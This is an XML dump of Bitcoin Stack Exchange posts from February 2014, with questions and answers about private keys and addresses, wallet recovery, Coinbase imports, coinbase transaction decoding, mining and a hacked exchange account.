  <row Id="21530" PostTypeId="1" CreationDate="2014-02-02T08:36:55.393" Score="3" ViewCount="2643" Body="&lt;p&gt;I am a bit new to BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bought few via Virwox and it tells me I have an address. People can send money in BTC to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also downloaded MultiBit on my Mac and I got another address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do I actually own those addresses? I'd like to see some technical reference on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="9009" LastEditorUserId="5406" LastEditDate="2014-02-02T09:16:09.063" LastActivityDate="2016-10-25T01:09:54.173" Title="How do I own my bitcoin address?" Tags="|address|private-key|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21531" PostTypeId="2" ParentId="21530" CreationDate="2014-02-02T08:48:56.460" Score="2" Body="&lt;p&gt;You actually own a private key, which generates the public address which is given to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say your public address is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1E4CwvCLFkhAz8Zbkvh2HpmsNafk9ecvdo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key which generates that address is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;5HtxkoHrU6iGJXaNCQ5iAZBEXgTWk13k14SFpQrNJHVrJuTxN78&lt;/code&gt; (Do not use this private key!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to add that address to your wallet, you need to add your private key to your wallet. What your wallet basically does is to show the balance of all your private keys. You can send and receive BTC through these addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So right now you have BTC on the private key (or public address) which you ordered on Virwox. If you want to see it on your wallet, you can either add the private key to your wallet, or send those BTCs to the address generated by the Multibit wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: If you're going to send the BTC, please make sure that you backup your wallet just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kudos,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Besir&lt;/p&gt;&#xA;" OwnerUserId="12809" LastActivityDate="2014-02-02T08:48:56.460" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21532" PostTypeId="2" ParentId="21528" CreationDate="2014-02-02T08:56:49.917" Score="4" Body="&lt;p&gt;I would highly discourage writing your own PHP Wallet App, in which without proper security, your wallet and your clients wallets might be compromised in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you insist on creating an online wallet, I would highly recommend Blockchain's Online Wallet. You can access the source code &lt;a href=&quot;https://github.com/blockchain/My-Wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application is written in Javascript, which enables a second layer of security (all operations are done on the user's browser). I think you can use this through your PHP application, in which nearly all web apps use Javascript libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Besir&lt;/p&gt;&#xA;" OwnerUserId="12809" LastEditorUserId="12809" LastEditDate="2017-07-14T17:55:02.217" LastActivityDate="2017-07-14T17:55:02.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21533" PostTypeId="2" ParentId="21514" CreationDate="2014-02-02T09:05:30.127" Score="1" Body="&lt;p&gt;The basic answer is: &quot;It's not impossible&quot; but &quot;It's improbable&quot; to do so. You'll make more BTC's on average mining, rather than trying to crack a public address with a vanity generator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Murch said, the possibility of finding the same address is: &lt;strong&gt;1 to 4.6 x 10^172&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While getting struck by lightning twice is: &lt;strong&gt;1 to 3.6 x 10^11&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Statistically talking, you'll probably die before you can even come close finding the same public address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kudos,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Beşir&lt;/p&gt;&#xA;" OwnerUserId="12809" LastActivityDate="2014-02-02T09:05:30.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21534" PostTypeId="2" ParentId="21496" CreationDate="2014-02-02T09:13:58.740" Score="2" Body="&lt;p&gt;You're going to  be doing some fun stuff if you need a complex system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Simple Way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use Bitcoind along with it's &lt;code&gt;walletnotify&lt;/code&gt; and &lt;code&gt;blocknotify&lt;/code&gt; arguments. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=203438.0&quot; rel=&quot;nofollow&quot;&gt;See here.&lt;/a&gt; As soon as you get a walletnotify, store it in a database and make sure txid is unique. &lt;strong&gt;Walletnotify fires multiple times&lt;/strong&gt; throughout a transaction's life. Check the database every block looking for unprocessed transactions that have 6 confirms. Those that do should get marked as &quot;processed&quot; or get deleted from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Hardcore Way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the functionality like described. Consider using one of the many libraries that implement some Bitcoin features and function. Check out &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;Bitcoinj&lt;/a&gt; (java), &lt;a href=&quot;https://bitcointalk.org/index.php?topic=30646.0&quot; rel=&quot;nofollow&quot;&gt;Libbitcoin&lt;/a&gt; (C++), &lt;a href=&quot;https://github.com/piotrnar/gocoin&quot; rel=&quot;nofollow&quot;&gt;Gocoin&lt;/a&gt; (Go), and the &lt;a href=&quot;https://github.com/search?l=Python&amp;amp;o=desc&amp;amp;q=bitcoin%20library&amp;amp;ref=searchresults&amp;amp;s=stars&amp;amp;type=Repositories&quot; rel=&quot;nofollow&quot;&gt;many python libraries&lt;/a&gt; that can be found through search. These libraries can make it a lot more simple to run a more finely controlled and specialized node.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-02T09:13:58.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21538" PostTypeId="2" ParentId="21508" CreationDate="2014-02-02T12:35:48.640" Score="1" Body="&lt;p&gt;Where are you choosing testnet network?&lt;br/&gt;&#xA;In &lt;code&gt;bitcoin.conf&lt;/code&gt; should it really be &lt;code&gt;telnet=1&lt;/code&gt;?&#xA;Maybe you meant &lt;code&gt;testnet=1&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2014-02-02T12:35:48.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21539" PostTypeId="2" ParentId="20320" CreationDate="2014-02-02T12:36:57.187" Score="0" Body="&lt;p&gt;&quot;there were 3 withdrawals in seconds to a btc account, first one for 1 btc, the second one for 5 btcs, and the last one for 20 btcs.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had this strange multi withdrawal process when my bitcoins were stolen from Mtgox. There were two small withdrawals followed by a final bigger withdrawal. I'd recommend that you check your email registered with that account. It should have received a transaction notification from Mt.Gox asking if you authorized this withdrawal.&lt;/p&gt;&#xA;" OwnerUserId="13004" LastActivityDate="2014-02-02T12:36:57.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21541" PostTypeId="1" CreationDate="2014-02-02T13:09:07.463" Score="5" ViewCount="1829" Body="&lt;p&gt;Im trying to make a test altcoin and I created the genesis block, merkle root and nonce. When I compile and run the daemon, The coin is trying to connect other IPs for hours so I can't mine the genesis block. I've changed P2P and RPC port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening ?&lt;/p&gt;&#xA;" OwnerUserId="12095" LastActivityDate="2017-04-22T02:07:03.980" Title="Before Mining Genesis Block" Tags="|altcoin|genesis-block|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21544" PostTypeId="2" ParentId="21442" CreationDate="2014-02-02T13:52:58.920" Score="0" Body="&lt;p&gt;You can download this fork &lt;a href=&quot;https://github.com/Rav3nPL/p2pool-rav&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Rav3nPL/p2pool-rav&lt;/a&gt; It has a lot of altcoins on it.&lt;/p&gt;&#xA;" OwnerUserId="13009" LastActivityDate="2014-02-02T13:52:58.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21549" PostTypeId="2" ParentId="17924" CreationDate="2014-02-02T14:21:54.560" Score="2" Body="&lt;p&gt;I had the same problem. What I had to do is delete the copy of the blockchain and let the newly installed bitcoin qt download and sync from scratch. All was good after that.&lt;/p&gt;&#xA;" OwnerUserId="13012" LastActivityDate="2014-02-02T14:21:54.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21551" PostTypeId="2" ParentId="21505" CreationDate="2014-02-02T16:10:22.020" Score="0" Body="&lt;p&gt;Exactly the same way, except instead of putting the compressed public key in the redeeming script, you use the compressed one. Decompressing it won't work, as that would change its hash (the address).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-02-02T16:10:22.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21553" PostTypeId="1" CreationDate="2014-02-02T16:54:55.233" Score="15" ViewCount="32137" Body="&lt;p&gt;Is there a way to import a private key that I have been using in bitcoin-qt to my coinbase wallet?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2017-10-16T21:00:13.743" Title="Import private key to coinbase?" Tags="|private-key|coinbase.com|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21554" PostTypeId="1" CreationDate="2014-02-02T17:19:42.733" Score="5" ViewCount="3903" Body="&lt;p&gt;I have bitcoind installed and I'd like to free up space by deleting the blockchain from my .bitcoin directory. What set of files and directories should I delete such that the next time I start bitcoind it will recover gracefully by downloading the blockchain again?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="3684" LastEditDate="2016-05-04T00:34:32.170" LastActivityDate="2016-05-04T00:34:32.170" Title="safely delete the blockchain from .bitcoin directory" Tags="|bitcoind|blockchain|storage-footprint|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21555" PostTypeId="2" ParentId="19105" CreationDate="2014-02-02T17:22:35.077" Score="2" Body="&lt;p&gt;There are &quot;lightweight&quot; wallets, such as Electrum and mobile wallets, that do not require the blockchain to run.  In exchange for this convenience however, their users rely on a centralized server (or servers) to host the blockchain, which is a bit of a security compromise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind is the &quot;Satoshi client&quot; and is not a lightweight wallet.  It won't work without the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-02-02T17:22:35.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21556" PostTypeId="2" ParentId="19965" CreationDate="2014-02-02T18:30:15.870" Score="1" Body="&lt;p&gt;The short answer is that there are, but you can't find them because Google is doing wierd things to altcoins in the search rankings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orgcoin www.orgcoin.org is a real coin designed to be merge mined with any scrypt chain.  USC is similar in this regard as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary difference is that Orgcoin is already operating in house pools for LTC, DOGE, POT and any others upon request and is traded on several exchanges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of this writing, the current rate for ORG is on par with DOGE meaning you could potentially double your cashflow if you were mining it today.  Not a pump, just a fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure more coins will come online shortly.  But as one of the original posters said.  The primary reason for a coin to merge mine is to secure it's blockchain against a 51% attack.  The child coin needs code for that although the parent doesn't need to know nor care.&lt;/p&gt;&#xA;" OwnerUserId="13017" LastActivityDate="2014-02-02T18:30:15.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21557" PostTypeId="1" CreationDate="2014-02-02T18:51:18.053" Score="7" ViewCount="5095" Body="&lt;p&gt;After reading this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20721/what-is-the-format-of-coinbase-transaction&quot;&gt;What is the format of the coinbase transaction?&lt;/a&gt; I was wondering about a few things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;decoderawtransaction of a random Litecoin coinbase transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;coinbase&quot; : &quot;038abd07062f503253482f048725ee5208083865a409000000092f7374726174756d2f&quot;,&#xA;...&#xA;    &quot;scriptPubKey&quot; : {&#xA;    &quot;asm&quot; : &quot;OP_DUP OP_HASH160 975efcba1e058667594dc57146022ec46560a63c OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;    &quot;hex&quot; : &quot;76a914975efcba1e058667594dc57146022ec46560a63c88ac&quot;,&#xA;..&#xA;    &quot;addresses&quot; : [&#xA;    &quot;LZ2L61M8rCoZmK7SemTBqfxuFZv5Uj4peR&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the &lt;em&gt;asm&lt;/em&gt; field the outgoing address? If yes how is it encoded and what is the hex field for? Same question goes for &lt;em&gt;scriptSig asm&lt;/em&gt; field in a normal transaction. It contains the public key and the signature but how is it structured/encoded. Because I have a Tx with to &lt;em&gt;vins&lt;/em&gt; from the same address and I don't see the same public key in the &lt;em&gt;asm&lt;/em&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I read the &lt;em&gt;coinbase&lt;/em&gt;? Hex2asic  gives me &quot;&lt;em&gt;?????/P2SH/??%?R??8e??????/stratum/&lt;/em&gt;&quot;. Is that all I can do if I don't know how the pool operator has structured the coinbase?&lt;/p&gt;&#xA;" OwnerUserId="13005" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-01-12T22:43:38.813" Title="How to fully decode a coinbase transaction?" Tags="|transactions|script|coinbase-transaction|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21558" PostTypeId="1" CreationDate="2014-02-02T20:09:03.783" Score="5" ViewCount="691" Body="&lt;p&gt;I'm based in the UK and am worried that my UK bank might have a problem with me transferring money to or from a bitcoin exchange, for example, Mt Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Paypal will suspend an account if it's involved with bitcoins, but does that also go for high street banks?&lt;/p&gt;&#xA;" OwnerUserId="13019" LastActivityDate="2014-06-22T07:11:14.507" Title="When transferring money between a bank and bitcoin exchanges, might the bank suspend my account?" Tags="|exchanges|banks|money-transfer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21559" PostTypeId="2" ParentId="21553" CreationDate="2014-02-02T20:41:38.163" Score="3" Body="&lt;p&gt;At &lt;a href=&quot;https://coinbase.com/paper_imports&quot; rel=&quot;nofollow&quot;&gt;Import Paper Wallet&lt;/a&gt;, you can import a private key. Though it's made for their paper wallet exports, it will work with any valid private key. Using it will transfer the money from the private key into Coinbase, not just allow you to send from it using Coinbase (like adding a private key to Bitcoin-QT would).&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-02-02T20:41:38.163" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21560" PostTypeId="1" AcceptedAnswerId="21562" CreationDate="2014-02-02T21:07:26.617" Score="2" ViewCount="9331" Body="&lt;p&gt;So I found my old wallet from 2011, I was able to pull my address and my PrivateKey using  pywallet. I downloaded Bitcoin-QT, copied the old wallet over and reran with -scan. Since it was a new install the blockchain is still updating (not finished as of this post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched my address at blockchain.info and it said that address didn't have a balance. With that being said, are my efforts at recovering the wallet pointless? I pulled the wallet off an old drive so it hasn't connected since 6/2011. The entire directory is intact and the block that was processed is still in the directory as well, about 301MB big. Not sure if that helps me at all in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here'e the pywallet dump with critical data removed. The fact that there is nothing under tx makes me believe that I'm wasting my time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;bestblock&quot;: &quot;REDACTED&quot;,&#xA;&quot;ckey&quot;: [],&#xA;&quot;defaultkey&quot;: &quot;1PSatNhRDmmR6rfK5c9XJvqwB92z7beRa&quot;,&#xA;&quot;keys&quot;: [&#xA;    {&#xA;        &quot;addr&quot;: &quot;1PSatNhRDmmR6rfK5c9XJvqwB92z7beRa&quot;,&#xA;        &quot;compressed&quot;: false,&#xA;        &quot;hexsec&quot;: &quot;REDACTED&quot;,&#xA;        &quot;label&quot;: &quot;&quot;,&#xA;        &quot;private&quot;: &quot;REDACTED&quot;,&#xA;        &quot;pubkey&quot;: &quot;REDACTED&quot;,&#xA;        &quot;reserve&quot;: 0,&#xA;        &quot;sec&quot;: &quot;REDACTED&quot;,&#xA;        &quot;secret&quot;: &quot;REDACTED&quot;&#xA;    }&#xA;],&#xA;&quot;mkey&quot;: {},&#xA;&quot;names&quot;: {&#xA;    &quot;1PSatNhRDmmR6rfK5c9XJvqwB92z7beRa&quot;: &quot;&quot;&#xA;},&#xA;&quot;pool&quot;: [],&#xA;&quot;settings&quot;: {&#xA;    &quot;addrProxy&quot;: &quot;127.0.0.1:23075&quot;,&#xA;    &quot;fGenerateBitcoins&quot;: &quot;False&quot;,&#xA;    &quot;fUseProxy&quot;: &quot;False&quot;&#xA;},&#xA;&quot;tx&quot;: [],&#xA;&quot;version&quot;: 32100&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13020" LastEditorUserId="13020" LastEditDate="2014-02-02T21:19:57.543" LastActivityDate="2020-12-21T01:41:58.270" Title="Found my old wallet, is it empty?" Tags="|wallet|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21562" PostTypeId="2" ParentId="21560" CreationDate="2014-02-02T21:39:53.773" Score="1" Body="&lt;p&gt;It's worth keeping in mind that your &quot;wallet&quot; doesn't actually contain any bitcoins. What your wallet contains is the private keys that permit you to spend coins that have been sent to any of your addresses. Which addresses have been sent coins is a matter of public record (the blockchain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had previously received (or mined) coins using one or more of your addresses that are contained in that wallet, then the record of those transactions will still exist. Note that your wallet likely contains more than one address, particularly if you've used it for anything at all. The address you have shown in your question has not received any coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have copied your old &lt;code&gt;wallet.dat&lt;/code&gt; file into a new Bitcoin client, the first thing to do would be wait for the blockchain download to complete. Your client won't know about any coins that have been sent to the addresses in your wallet without actually seeing the whole blockchain.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-02T21:39:53.773" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21564" PostTypeId="1" CreationDate="2014-02-02T23:38:17.980" Score="2" ViewCount="294" Body="&lt;p&gt;Okay so I just finished up a ping pong HTML5 game I've been working on as practice, and I was thinking of integrating Bitcoin into the game so when a user wins vs. the CPU, they get a small amount of bitcoin sent to their account, or to an account created for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me to a resource to get this done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can do this with BitcoinJS but it is not available for Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what I'm doing, so any help would be great!&lt;/p&gt;&#xA;" OwnerUserId="13026" LastActivityDate="2014-08-02T06:04:48.670" Title="Created an HTML5 Game, best way to integrate Bitcoin?" Tags="|bitcoinjs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21566" PostTypeId="1" AcceptedAnswerId="28124" CreationDate="2014-02-03T01:43:56.760" Score="1" ViewCount="1491" Body="&lt;p&gt;About 14 hours ago I had about 700 Cat coins and 500000 Doge coins on my Cryptsy account. I have sold 0.02725061 BTC worth of DOGE and withdraw it to another address. Soon after as expected I received an email to verify the withdrawal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About 30 minutes later my account got hacked. All of my Doge coins ware withdrawn from my account, All of my Cat coins ware sold to BTC and then they were also withdrawn from my account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this happened while I was using my PC, therefore it can't be a remote desktop program. Secondly, this account has two factor authentication which requires access to my phone, which means that simply having my user name and my password would not help in this case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most disturbing thing hare is that I did not receive a verification email for any of these 2 withdrawals. As far as I know after every withdrawal from Cryptsy I'm supposed to get a email to verify the withdrawal, which clearly did not happen. Whoever did this managed to withdraw from my account without needing to access to my email account, which indicates that there is a serious security hole in Cryptsy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the time I found out about this all of the transactions ware already confirmed. I opened a support ticket, but I did not receive an answer yet. I just can't wrap my mind around this. How on earth did this happen? He bypassed my two factor authentication,  he did it while I way using my PC, and he did it without needing to access my email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?&lt;/p&gt;&#xA;" OwnerUserId="8935" LastActivityDate="2019-10-08T09:33:32.103" Title="Cryptsy account got hacked" Tags="|dogecoin|hacking|cryptsy|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21567" PostTypeId="2" ParentId="21564" CreationDate="2014-02-03T02:14:41.960" Score="1" Body="&lt;p&gt;You're going to need a fairly intense system to support something like that. You won't be able to send Bitcoins securely in your game, so you will need a server handling requests to send. Check out the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoind api&lt;/a&gt; commands and the various libraries you can use to access Bitcoind. Node.js has an &lt;a href=&quot;https://npmjs.org/package/bitcoin&quot; rel=&quot;nofollow&quot;&gt;interesting and simple library&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main trouble you are going to have is people who are trying to game your system. You will need to verify (somehow) that a player did actually beat your game. What is stopping me from sending thousands of requests, stating that I won? People will figure out the server you send the requests to quickly.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-03T02:14:41.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21568" PostTypeId="1" CreationDate="2014-02-03T02:54:24.597" Score="2" ViewCount="183" Body="&lt;p&gt;Read this document and see if you think they are talking about Bitcoin. &#xA;Here's an excerpt..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any individual or group of people engaged in conducting, controlling, directing or owning an informal value transfer system in the United States is operating as a financial institution. Therefore, IVTS operators must comply with all Bank Secrecy Act (BSA) requirements, which include establishment of an anti-money laundering (AML) program, registration with the Financial Crimes Enforcement Network (FinCEN) as a money services business, and compliance with the record keeping and reporting requirements, which include filing suspicious activity reports (SARs).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I found it here: &lt;a href=&quot;http://www.fincen.gov/news_room/rp/advisory/pdf/advis33.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.fincen.gov/news_room/rp/advisory/pdf/advis33.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13030" LastEditorUserId="37414" LastEditDate="2018-05-01T19:50:57.470" LastActivityDate="2018-05-01T19:50:57.470" Title="Does this FinCEN Document mean the Bitcoin Network is a bank?" Tags="|legal|aml|fincen|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21569" PostTypeId="1" AcceptedAnswerId="21577" CreationDate="2014-02-03T03:52:48.747" Score="-1" ViewCount="648" Body="&lt;p&gt;I have 6 miners, all with 3 R9 280x's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Yes, not bitcoin mining, but there isn't a general mining stack site and it still uses cgminer so it's relevant)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working on getting them running stable for months, I now run CGWatcher on each miner to manage CGMiner. And I use CGRemote + Teamviewer to keep an eye on all the miners from a central computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I've been having lots of problems and I feel like what I really need is a better understanding of how mining works. For example: what is a share?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried reading explanations online but none of them make any sense to me, what is a block chain? I'm not a 5th grader, but explain it to me like I am. I understand some things, but not everything and to be able to tackle all the problems, I really need a complete understanding of the mining process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand a decent amount of things, but really the reason I need this is because I recently started solo mining and I need to know what my miners are doing because I'm not constantly getting accepted shares like with pool mining, so how do I even know the miners are working at all? Because I'm not getting anywhere near the payout I should be getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently mining Digitalcoin, which currently has a difficulty of 8, so you can imagine that with 12 MH/s on average I should be making a lot of DGC, but I'm not.&lt;/p&gt;&#xA;" OwnerUserId="10650" LastEditorUserId="5406" LastEditDate="2016-04-25T20:41:37.360" LastActivityDate="2016-04-25T20:41:37.360" Title="Complete Explanation of Mining" Tags="|mining-theory|currencies|cgminer|solo-mining|" AnswerCount="2" CommentCount="3" ClosedDate="2014-02-04T08:18:43.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="21570" PostTypeId="2" ParentId="21170" CreationDate="2014-02-03T04:25:35.220" Score="0" Body="&lt;p&gt;Would you be mining by yourself, or in a pool? If you are mining in a pool, you won't need bitcoind or bitcoin-QT running, and you can use a Raspberry PI to run CGMiner. Raspberry PI is very easy to set up, fast and requires much less oversight/administration as compared to a consumer grade laptop/computer.&lt;/p&gt;&#xA;" OwnerUserId="12830" LastActivityDate="2014-02-03T04:25:35.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21571" PostTypeId="1" CreationDate="2014-02-03T04:42:28.713" Score="1" ViewCount="637" Body="&lt;p&gt;I've built Bitcoin 0.8.6 on Windows 32bit using mingw32 and now trying to execute bitcoind.exe in the prompt using the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind.exe -datadir=&quot;e:/BitcoinDataTest&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting the exception &quot;N5boost10filesystem16filesystem_errorE&quot; related to Boost. Can anybody help me to solve this issue? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin version v0.8.6.0-g03a7d67-beta (Thu, 5 Dec 2013 13:11:26 +0100)&#xA;Using OpenSSL version OpenSSL 1.0.1e 11 Feb 2013&#xA;Default data directory C:\Documents and Settings\Admin\AppData\Bitcoin&#xA;Using data directory e:\bitcoindatatest&#xA;Using at most 125 connections (2048 file descriptors available)&#xA;Using 2 threads for script verification&#xA;init message: Verifying wallet...&#xA;dbenv.open LogDir=e:\bitcoindatatest\database ErrorFile=e:\bitcoindatatest\db.lo&#xA;g&#xA;************************&#xA;EXCEPTION: N5boost10filesystem16filesystem_errorE&#xA;boost::filesystem::status: The operation was concluded with success: &quot;e:\bitcoindatatst\wallet.dat&quot; C:\mybitcoin\bitcoind.exe in AppInit()&#xA;&#xA;************************&#xA;EXCEPTION: N5boost10filesystem16filesystem_errorE&#xA;boost::filesystem::status: The operation was concluded with success: &quot;e:\bitcoindatatst\wallet.dat&quot; C:\mybitcoin\bitcoind.exe in AppInit()&#xA;&#xA;Shutdown : In progress...&#xA;Flush(false)&#xA;DBFlush(false) ended               0ms&#xA;StopNode()&#xA;Flushed 0 addresses to peers.dat  0ms&#xA;Flush(true)&#xA;DBFlush(true) ended               0ms&#xA;terminate called after throwing an instance of 'boost::filesystem::filesystem_error'&#xA;  what():  boost::filesystem::remove: The operation was concluded with success: &quot;e:\bitcoindatatest\bitcoind.pid&quot;&#xA;&#xA;This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13032" LastEditorUserId="2306" LastEditDate="2015-02-01T21:28:25.360" LastActivityDate="2015-02-01T21:28:25.360" Title="Exception in Boost library when running bitcoind.exe" Tags="|bitcoind|error|datadir|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21572" PostTypeId="1" CreationDate="2014-02-03T05:04:10.640" Score="1" ViewCount="1140" Body="&lt;p&gt;I know this question has been asked and answered a bunch of times so I am sorry for doing the same. I am basically a moron when it comes to this stuff and very new to digital currency. &#xA;So here's the deal opened an account with coinbase got my funds in there. I tried to use bit coin-qt but that has been syncing for literally 10 days now so I used multi bit instead. Did a small $5 transfer from CB to my MB wallet no problems I even figured out how to send it to someone else after that. Here is where the problem starts I went to deposit more funds from CB to my MB wallet using the same wallet. CB went through the pending process which took about an hour on the CB site it says transaction went through but the funds never arrived in my MB wallet. I tried resetting my blockchain and nothing. So now I see all of the kind folks on here talking about going to the GO function ( I run Mac OS ) or searching hidden files or searching something like ~librara/username/.wallet or something of the sort. So like I said in the beginning I am a moron and know nothing about what that means. Please help me figure out where on my computer that wallet and money went. Oh and bye the way the bitcoin wallet address still shows in my wallets list and its the same address that CB sent the funds to. Thanks in advance for any and all help &lt;/p&gt;&#xA;" OwnerUserId="13033" LastActivityDate="2014-02-03T07:21:01.207" Title="Funds from coinbase never showed in my Multibit wallet" Tags="|wallet|multibit|coinbase.com|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
